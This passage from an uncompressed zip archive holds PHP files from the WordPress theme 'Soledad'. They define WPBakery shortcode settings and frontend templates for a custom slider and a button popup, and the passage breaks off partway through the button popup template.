		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'button1_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Hover Color', 'soledad' ),
			'param_name'       => 'button1_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Hover Color', 'soledad' ),
			'param_name'       => 'button1_hbordercolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),


		// Button 2
		array(
			'type'             => 'textfield',
			'param_name'       => 'section_style_btn2',
			'heading'          => esc_html__( 'Button 2', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_width',
			'heading'          => __( 'Button Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_height',
			'heading'          => __( 'Button Height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_border_width',
			'heading'          => __( 'Border Width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_border_radius',
			'heading'          => __( 'Border Radius', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => ' vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'button2_size',
			'heading'          => __( 'Font size', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'button2_typo',
			'value'      => '',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'button2_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Color', 'soledad' ),
			'param_name'       => 'button2_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Color', 'soledad' ),
			'param_name'       => 'button2_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'button2_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Background Hover Color', 'soledad' ),
			'param_name'       => 'button2_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Border Hover Color', 'soledad' ),
			'param_name'       => 'button2_hbordercolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     N\ bA  A  6  inc/js_composer/shortcodes/custom_sliders/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$penci_slides = (array) vc_param_group_parse_atts( $atts['penci_slides'] );
if ( ! $penci_slides ) {
	return;
}

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-custom-slides';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'custom_slider' );

$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
$data_slider .= ! 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
$data_slider .= ! 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
$data_slider .= ' data-auto="' . ( ! 'yes' == $atts['autoplay'] ? 'false' : 'true' ) . '"';
?>
	<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
		<div class="penci-block_content penci-slides-wrap swiper penci-owl-carousel penci-owl-carousel-slider" <?php echo $data_slider; ?>>
			<div class="swiper-wrapper">
			<?php
			$slide_count = 0;
			foreach ( (array) $penci_slides as $slide ) {

				$slide_bg_color   = isset( $slide['background_color'] ) && $slide['background_color'] ? $slide['background_color'] : '#833ca3';
				$slide_text_align = isset( $slide['text_align'] ) && $slide['text_align'] ? $slide['text_align'] : 'center';

				$heading_overlay       = isset( $atts['heading_overlay'] ) && 'yes' == $atts['heading_overlay'] ? 'yes' : '';
				$description_overlay = isset( $atts['description_overlay'] ) && 'yes' == $atts['description_overlay'] ? 'yes' : '';

				if( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
					if( 'yes' == $slide['bg_item_overlay'] ){
						$heading_overlay = $description_overlay = 'yes';
					}elseif( 'no' == $slide['bg_item_overlay'] ){
						$heading_overlay = $description_overlay = '';
					}
				}

				echo '<div class="swiper-slide penci-repeater-item-' . $slide_count . ' penci-ctslide-wrap">';
				echo '<div class="penci-custom-slide">';

				echo '<div class="penci-ctslide-bg" style="background-color:' . esc_attr( $slide_bg_color ) . '"></div>';



				echo '<div class="penci-ctslide-inner" style="text-align:' . esc_attr( $slide_text_align ) . '">';

				$url_feat_img = isset( $slide['url_feat_img'] ) ? $slide['url_feat_img'] : '';
				if( $url_feat_img ){
					echo '<a class="penci-ctslider-featimg" href="' . esc_url( $url_feat_img ) . '"></a>';
				}

				echo '<div class="penci-ctslider-content penci-' . esc_attr( $atts['content_animation'] ) . '">';

				if ( isset( $slide['heading'] ) && $slide['heading'] ) {
					if( $heading_overlay ) {
						echo '<h2 class="pencislider-title pencislider-title-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['heading'] . '</span></span></h2>';
					}else{
						echo '<h2 class="pencislider-title">' . $slide['heading'] . '</h2>';
					}
				}

				if ( isset( $slide['description'] ) && $slide['description'] ) {
					if( $description_overlay ) {
						echo '<div class="pencislider-caption pencislider-caption-overlay"><span class="pslider-bgoverlay-inner"><span>' . $slide['description'] . '</span></span></div>';
					}else{
						echo '<div class="pencislider-caption">' . $slide['description'] . '</div>';
					}
				}

				$html_button = '';
				if ( isset( $slide['button_text'] ) && $slide['button_text'] ) {
					$link_data = 'href="#"';
					if ( isset( $slide['button_link'] ) && $slide['button_link'] ) {
						$link_data = 'href="' . esc_url( $slide['button_link'] ) . '"';
					}

					$html_button .= '<a class="pencislider-btn pencislider-btn-1 penci-button" ' . $link_data . '><span>' . $slide['button_text'] . '</span></a>';
				}
				if ( isset( $slide['button_text2'] ) && $slide['button_text2'] ) {
					$link_data = 'href="#"';
					if ( isset( $slide['button_link2'] ) && $slide['button_link2'] ) {
						$link_data = 'href="' . esc_url( $slide['button_link2'] ) . '"';
					}

					$html_button .= '<a class="pencislider-btn pencislider-btn-2 penci-button" ' . $link_data . '><span>' . $slide['button_text2'] . '</span></a>';
				}

				if ( $html_button ) {
					echo '<div class="penci-slider_btnwrap">' . $html_button . '</div>';
				}

				echo '</div>'; // slider content

				echo '</div>'; // penci-ctslide-inner
				echo '</div>'; // penci-custom-slide
				echo '</div>'; // penci-ctslide-wrap

				$slide_count ++;
			}
			?>
			</div>
		</div>
	</div>
<?php
$id_custom_slider = '#' . $block_id;
$id_custom_slider2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom       = '';

$slide_count = 0;
foreach ( (array) $penci_slides as $slide ) {
	$horizontal_position = isset( $slide['horizontal_position'] ) ? $slide['horizontal_position'] : '';
	$vertical_position   = isset( $slide['vertical_position'] ) ? $slide['vertical_position'] : '';
	$text_align          = isset( $slide['text_align'] ) ? $slide['text_align'] : '';
	$content_color       = isset( $slide['content_color'] ) ? $slide['content_color'] : '';
	$background_image    = isset( $slide['background_image'] ) ? $slide['background_image'] : '';

	$heading_overlay       = isset( $atts['heading_overlay'] ) && $atts['heading_overlay'] ? 'yes' : '';
	$description_overlay = isset( $atts['description_overlay'] ) && $atts['description_overlay'] ? 'yes' : '';
	if( isset( $slide['bg_item_overlay'] ) && $slide['bg_item_overlay'] ) {
		if( 'yes' == $slide['bg_item_overlay'] ){
			$heading_overlay = $description_overlay = 'yes';
		}elseif( 'no' == $slide['bg_item_overlay'] ){
			$heading_overlay = $description_overlay = '';
		}
	}

	if ( $horizontal_position ) {
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-inner .penci-ctslider-content{';

		if ( 'left' == $horizontal_position ) {
			$css_custom .= 'margin-right: auto;';
		} elseif ( 'center' == $horizontal_position ) {
			$css_custom .= 'margin: 0 auto;';
		} elseif ( 'right' == $horizontal_position ) {
			$css_custom .= 'margin-left: auto;';

			if ( ! $atts['content_max_width'] ) {
				$css_custom .= 'max-width: 66%;';
			}
		}
		$css_custom .= '}';
	}
	if ( $vertical_position ) {
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-inner{';

		if ( 'top' == $vertical_position ) {
			$css_custom .= 'align-items: flex-start;';
		} elseif ( 'middle' == $vertical_position ) {
			$css_custom .= 'align-items: center;';
		} elseif ( 'bottom' == $vertical_position ) {
			$css_custom .= 'align-items: flex-end;';
		}
		$css_custom .= '}';
	}

	if ( $background_image ) {
		$url_bgimg_item = wp_get_attachment_url( $background_image );
		$css_custom     .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .penci-ctslide-bg{ background-image: url(' . esc_url( $url_bgimg_item ) . '); }';
	}

	if ( $content_color ) {
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title,';
		$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption{ color:' . esc_attr( $content_color ) . ' }';
	}

	$bgoverlay_color   = isset( $slide['bgoverlay_color'] ) ? $slide['bgoverlay_color'] : '';
	$bgoverlay_opacity = isset( $slide['bgoverlay_opacity'] ) ? $slide['bgoverlay_opacity'] : '';
	$bgoverlay_padding = isset( $slide['bgoverlay_padding'] ) ? $slide['bgoverlay_padding'] : '';

	if ( 'yes' == $heading_overlay ||  'yes' == $description_overlay ) {
		if ( $bgoverlay_color ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $bgoverlay_color ) . ' }';
		}

		if ( $bgoverlay_padding ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner{ padding:' . esc_attr( $bgoverlay_padding ) . ' }';
		}

		if ( $bgoverlay_opacity ) {
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before,';
			$css_custom .= $id_custom_slider . ' .penci-repeater-item-' . $slide_count . ' .pencislider-caption-overlay .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $bgoverlay_opacity ) . ' }';
		}
	}

	$slide_count ++;
}

if( $atts['slides_img_ratio'] ){
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap{ height: auto !important; }';
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap:before{ content:"";padding-top:' . esc_attr( $atts['slides_img_ratio'] ) . '% !important; }';
} elseif ( $atts['slides_height'] ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslide-wrap{ height: ' . esc_attr( $atts['slides_height'] ) . 'px !important; }';
}
if ( $atts['content_max_width'] ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslider-content{ max-width: ' . esc_attr( $atts['content_max_width'] ) . '; }';
}
$content_padding_ctcss = '';
if ( $atts['slides_paddingl'] ) {
	$content_padding_ctcss .= 'padding-left:' . esc_attr( $atts['slides_paddingl'] ) . ';';
}
if ( $atts['slides_paddingr'] ) {
	$content_padding_ctcss .= 'padding-right:' . esc_attr( $atts['slides_paddingr'] ) . ';';
}
if ( $atts['slides_paddingt'] ) {
	$content_padding_ctcss .= 'padding-top:' . esc_attr( $atts['slides_paddingt'] ) . ';';
}
if ( $atts['slides_paddingb'] ) {
	$content_padding_ctcss .= 'padding-bottom:' . esc_attr( $atts['slides_paddingb'] ) . ';';
}
if ( $content_padding_ctcss ) {
	$css_custom .= $id_custom_slider . ' .penci-ctslide-inner{' . esc_attr( $content_padding_ctcss ) . '}';
}

// Heading
$heading_spacing_ctcss = '';
if ( $atts['heading_spacing'] ) {
	$heading_spacing_ctcss .= 'margin-bottom:' . esc_attr( esc_attr( $atts['heading_spacing'] ) ) . ';';
}
if ( $atts['heading_color'] ) {
	$heading_spacing_ctcss .= 'color:' . esc_attr( esc_attr( $atts['heading_color'] ) ) . ';';
}
if ( $heading_spacing_ctcss ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title{' . esc_attr( $heading_spacing_ctcss ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['heading_size'],
	'font_style' => $atts['heading_typography'],
	'template'   => $id_custom_slider . ' .pencislider-title{ %s }',
) );

if( isset( $atts['heading_bgoverlay_opacity'] ) && $atts['heading_bgoverlay_opacity'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $atts['heading_bgoverlay_opacity'] ) . '; }';
}
if( isset( $atts['heading_bgoverlay_color'] ) && $atts['heading_bgoverlay_color'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $atts['heading_bgoverlay_color'] ) . '; }';
}
if( isset( $atts['heading_bgoverlay_padding'] ) && $atts['heading_bgoverlay_padding'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-title-overlay .pslider-bgoverlay-inner{ padding:' . esc_attr( $atts['heading_bgoverlay_padding'] ) . '; }';
}

// Description
$desc_ctcss = '';
if ( $atts['desc_spacing'] ) {
	$desc_ctcss .= 'margin-bottom:' . esc_attr( esc_attr( $atts['desc_spacing'] ) ) . ';';
}
if ( $atts['desc_color'] ) {
	$desc_ctcss .= 'color:' . esc_attr( $atts['desc_color'] ) . ';';
}
if ( $desc_ctcss ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption{' . esc_attr( $desc_ctcss ) . '}';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['desc_size'],
	'font_style' => $atts['desc_typo'],
	'template'   => $id_custom_slider . ' .pencislider-caption{ %s }',
) );

if( isset( $atts['desc_bgoverlay_opacity'] ) && $atts['desc_bgoverlay_opacity'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner:before{ opacity:' . esc_attr( $atts['desc_bgoverlay_opacity'] ) . '; }';
}
if( isset( $atts['desc_bgoverlay_color'] ) && $atts['desc_bgoverlay_color'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner:before{ background-color:' . esc_attr( $atts['desc_bgoverlay_color'] ) . '; }';
}
if( isset( $atts['desc_bgoverlay_padding'] ) && $atts['desc_bgoverlay_padding'] ) {
	$css_custom .= $id_custom_slider . ' .pencislider-caption .pslider-bgoverlay-inner{ padding:' . esc_attr( $atts['desc_bgoverlay_padding'] ) . '; }';
}

// Button
$css_btn_ct = '';
if ( $atts['button1_width'] ) {
	$css_btn_ct .= 'width:' . esc_attr( esc_attr( $atts['button1_width'] ) ) . ';';
}
if ( $atts['button1_height'] ) {
	$css_btn_ct .= 'height:' . esc_attr( esc_attr( $atts['button1_height'] ) ) . ';';
}
if ( $atts['button1_border_width'] ) {
	$css_btn_ct .= 'border-width:' . esc_attr( esc_attr( $atts['button1_border_width'] ) ) . ';';
}
if ( $atts['button1_border_radius'] ) {
	$css_btn_ct .= 'border-radius:' . esc_attr( esc_attr( $atts['button1_border_radius'] ) ) . ';';
}
if ( $atts['button1_color'] ) {
	$css_btn_ct .= 'color:' . esc_attr( esc_attr( $atts['button1_color'] ) ) . ';';
}
if ( $atts['button1_bgcolor'] ) {
	$css_btn_ct .= 'background-color:' . esc_attr( esc_attr( $atts['button1_bgcolor'] ) ) . ';';
}
if ( $atts['button1_border_color'] ) {
	$css_btn_ct .= 'border-color:' . esc_attr( esc_attr( $atts['button1_border_color'] ) ) . ';';
}
if ( $css_btn_ct ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-1{' . esc_attr( $css_btn_ct ) . '}';
}
$css_btn_ct_hover = '';
if ( $atts['button1_hcolor'] ) {
	$css_btn_ct_hover .= 'color:' . esc_attr( esc_attr( $atts['button1_hcolor'] ) ) . ';';
}
if ( $atts['button1_hbgcolor'] ) {
	$css_btn_ct_hover .= 'background-color:' . esc_attr( esc_attr( $atts['button1_hbgcolor'] ) ) . ';';
}
if ( $atts['button1_hbordercolor'] ) {
	$css_btn_ct_hover .= 'border-color:' . esc_attr( esc_attr( $atts['button1_hbordercolor'] ) ) . ';';
}

if ( $css_btn_ct_hover ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-1:hover{' . esc_attr( $css_btn_ct_hover ) . '}';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['button1_size'],
	'font_style' => $atts['button1_typo'],
	'template'   => $id_custom_slider . ' .pencislider-btn-1{ %s }',
) );

// Button 2
$css_btn_ct2 = '';
if ( $atts['button2_width'] ) {
	$css_btn_ct2 .= 'width:' . esc_attr( esc_attr( $atts['button2_width'] ) ) . ';';
}
if ( $atts['button2_height'] ) {
	$css_btn_ct2 .= 'height:' . esc_attr( esc_attr( $atts['button2_height'] ) ) . ';';
}
if ( $atts['button2_border_width'] ) {
	$css_btn_ct2 .= 'border-width:' . esc_attr( esc_attr( $atts['button2_border_width'] ) ) . ';';
}
if ( $atts['button2_border_radius'] ) {
	$css_btn_ct2 .= 'border-radius:' . esc_attr( esc_attr( $atts['button2_border_radius'] ) ) . ';';
}
if ( $atts['button2_color'] ) {
	$css_btn_ct2 .= 'color:' . esc_attr( esc_attr( $atts['button2_color'] ) ) . ';';
}
if ( $atts['button2_bgcolor'] ) {
	$css_btn_ct2 .= 'background-color:' . esc_attr( esc_attr( $atts['button2_bgcolor'] ) ) . ';';
}
if ( $atts['button2_border_color'] ) {
	$css_btn_ct2 .= 'border-color:' . esc_attr( esc_attr( $atts['button2_border_color'] ) ) . ';';
}
if ( $css_btn_ct2 ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-2{' . esc_attr( $css_btn_ct2 ) . '}';
}
$css_btn_ct2_hover = '';
if ( $atts['button2_hcolor'] ) {
	$css_btn_ct2_hover .= 'color:' . esc_attr( esc_attr( $atts['button2_hcolor'] ) ) . ';';
}
if ( $atts['button2_hbgcolor'] ) {
	$css_btn_ct2_hover .= 'background-color:' . esc_attr( esc_attr( $atts['button2_hbgcolor'] ) ) . ';';
}
if ( $atts['button2_hbordercolor'] ) {
	$css_btn_ct2_hover .= 'border-color:' . esc_attr( esc_attr( $atts['button2_hbordercolor'] ) ) . ';';
}
if ( $css_btn_ct2_hover ) {
	$css_custom .= $id_custom_slider . ' .penci-slider_btnwrap .pencislider-btn-2:hover{' . esc_attr( $css_btn_ct2_hover ) . '}';
}

$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['button2_size'],
	'font_style' => $atts['button2_typo'],
	'template'   => $id_custom_slider . ' .pencislider-btn-2{ %s }',
) );

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_custom_slider, $responsive_spacing );
}


if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     N\բZ  Z  4  inc/js_composer/shortcodes/button_popup/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_button_popup',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/button_popup/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Button Popup', 'soledad' ),
	'description'   => __( 'Show popup when click a button', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_gnr',
			'heading'          => esc_html__( 'Popup Settings', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Button Text', 'soledad' ),
			'param_name' => 'text',
			'std'        => '',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Alignment', 'soledad' ),
			'param_name' => 'align',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
				__( 'Align Right', 'soledad' )  => 'right',
			),
			'std'        => 'center',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Content Style', 'soledad' ),
			'param_name' => 'popup_cstyle',
			'value'      => array(
				__( 'Custom Text/HTML', 'soledad' ) => 'text',
				__( 'Penci Block', 'soledad' )      => 'block',
			),
			'std'        => 'text',
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_ct',
			'heading'          => esc_html__( 'Popup Content', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'textarea_html',
			'heading'    => __( 'Popup Content', 'soledad' ),
			'param_name' => 'popup_content',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Block', 'soledad' ),
			'param_name' => 'popup_block',
			'value'      => penci_builder_block_list( true ),
		),

		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Popup Width', 'soledad' ),
			'param_name' => 'popup_width',
		),

		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Popup Height', 'soledad' ),
			'param_name' => 'popup_height',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Position', 'soledad' ),
			'param_name' => 'popup_position',
			'value'      => array(
				'Top Left'      => 'top-left',
				'Top Center'    => 'top-center',
				'Top Right'     => 'top-right',
				'Middle Left'   => 'middle-left',
				'Middle Center' => 'middle-center',
				'Middle Right'  => 'middle-right',
				'Bottom Left'   => 'bottom-left',
				'Bottom Center' => 'bottom-center',
				'Bottom Right'  => 'bottom-right',
			),
			'std'        => 'middle-center',
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Popup Open Animation Style', 'soledad' ),
			'param_name' => 'popup_anityle',
			'value'      => array(
				'Move To Left'   => 'move-to-left',
				'Move To Right'  => 'move-to-right',
				'Move To Top'    => 'move-to-top',
				'Move To Bottom' => 'move-to-bottom',
				'Fade In'        => 'fadein',
				'Zoom In'        => 'zoomin',
			),
			'std'        => 'fadein',
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Sub Text?', 'soledad' ),
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'param_name'  => 'add_subtext'
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Sub Text', 'soledad' ),
			'param_name' => 'subtext',
			'dependency' => array( 'element' => 'add_subtext', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Sub Text Align', 'soledad' ),
			'param_name' => 'subtext_align',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
				__( 'Align Right', 'soledad' )  => 'right',
			),
			'std'        => 'center',
			'dependency' => array( 'element' => 'add_subtext', 'value' => array( 'yes' ) ),
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Add Icon to Button?', 'soledad' ),
			'param_name'  => 'add_icon',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),

		array(
			'type'       => 'iconpicker',
			'heading'    => __( 'Button Icon', 'soledad' ),
			'param_name' => 'button_icon',
			'value'      => 'fa fa-adjust',
			'dependency' => array( 'element' => 'add_icon', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Icon Position', 'soledad' ),
			'param_name' => 'icon_pos',
			'value'      => array(
				__( 'Align Left', 'soledad' )   => 'left',
				__( 'Align Center', 'soledad' ) => 'center',
			),
			'std'        => 'left',
			'dependency' => array( 'element' => 'add_icon', 'value' => array( 'yes' ) ),
		),

		array(
			'type'       => 'textfield',
			'heading'    => __( 'Button ID', 'soledad' ),
			'param_name' => 'button_id',
		),

	), Penci_Vc_Params_Helper::heading_block_params(), Penci_Vc_Params_Helper::params_heading_typo_color(), Penci_Vc_Params_Helper::extra_params(), array(

		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_popup_btn',
			'heading'          => esc_html__( 'Button Settings', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),

		array(
			'type'       => 'google_fonts',
			'group'      => $group_color,
			'param_name' => 'btn_typo',
			'value'      => '',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'btn_size',
			'heading'    => __( 'Font Size for Button Text', 'soledad' ),
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Color', 'soledad' ),
			'param_name'       => 'btn_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Button Text Hover Color', 'soledad' ),
			'param_name'       => 'btn_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Popup Overlay Background Color', 'soledad' ),
			'param_name'       => 'overlay_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Popup Overlay Opacity', 'soledad' ),
			'param_name'       => 'overlay_opacity',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
	) )
) );
PK     N\;s  s  4  inc/js_composer/shortcodes/button_popup/frontend.phpnu [        <?php
$block_id       = Penci_Vc_Helper::get_unique_id_block( 'button_popup' );
$settings       = vc_map_get_attributes( $this->getShortcode(), $atts );
$text           = $settings['text'] ? $settings['text'] : '';
$link           = '';
$button_id_attr = '';
$button_id      = $settings['button_id'] ? $settings['button_id'] : '';
if ( $button_id ) {
	$button_id      = str_replace( ' ', '', $button_id );
	$button_id_attr = ' id="' . $button_id . '"';
}
$add_icon       = $settings['add_icon'] ? $settings['add_icon'] : '';
$icon_pos       = $settings['icon_pos'] ? $settings['icon_pos'] : 'left';
$align          = $settings['align'] ? $settings['align'] : 'none';
$align_class    = 'pcbtn-align-' . $align;
$add_subtext    = $settings['add_subtext'] ? $settings['add_subtext'] : '';
$subtext        = $settings['subtext'] ? $settings['subtext'] : '';
$button_icon    = $settings['button_icon'] ? $settings['button_icon'] : array();
$icon_html      = '';
$button_classes = 'pc-popup-btn pcbtn pcbtn-icon-' . $icon_pos;
if ( 'yes' == $add_icon && ! empty( $button_icon ) ) {
	$icon_html = '<i class="' . $button_icon . '"></i>';
}
$id             = 'penci-btn-popup-' . $block_id;
$anistyle       = isset( $settings['popup_anityle'] ) && $settings['popup_anityle'] ? $settings['popup_anityle'] : 'move-to-top';
$popup_position = isset( $settings['popup_position'] ) && $settings['popup_position'] ? $settings['popup_position'] : 'middle-center';
$popup_cstyle   = isset( $settings['popup_cstyle'] ) && $settings['popup_cstyle'] ? $settings['popup_cstyle'] : 'text';
?>
    <div id="<?php echo $block_id; ?>" class="pcbtn-wrapper penci-button-popup <?php echo $align_class; ?>">
        <a data-popup="<?php echo $id; ?>"
           data-position="<?php echo esc_attr( $popup_position . ' penci-pps-' . $block_id ); ?>"
           class="<?php echo $button_classes; ?>"
           href="#<?php echo $id; ?>"<?php
		echo $button_id_attr; ?>>
				<span class="pcbtn-wrapperin">
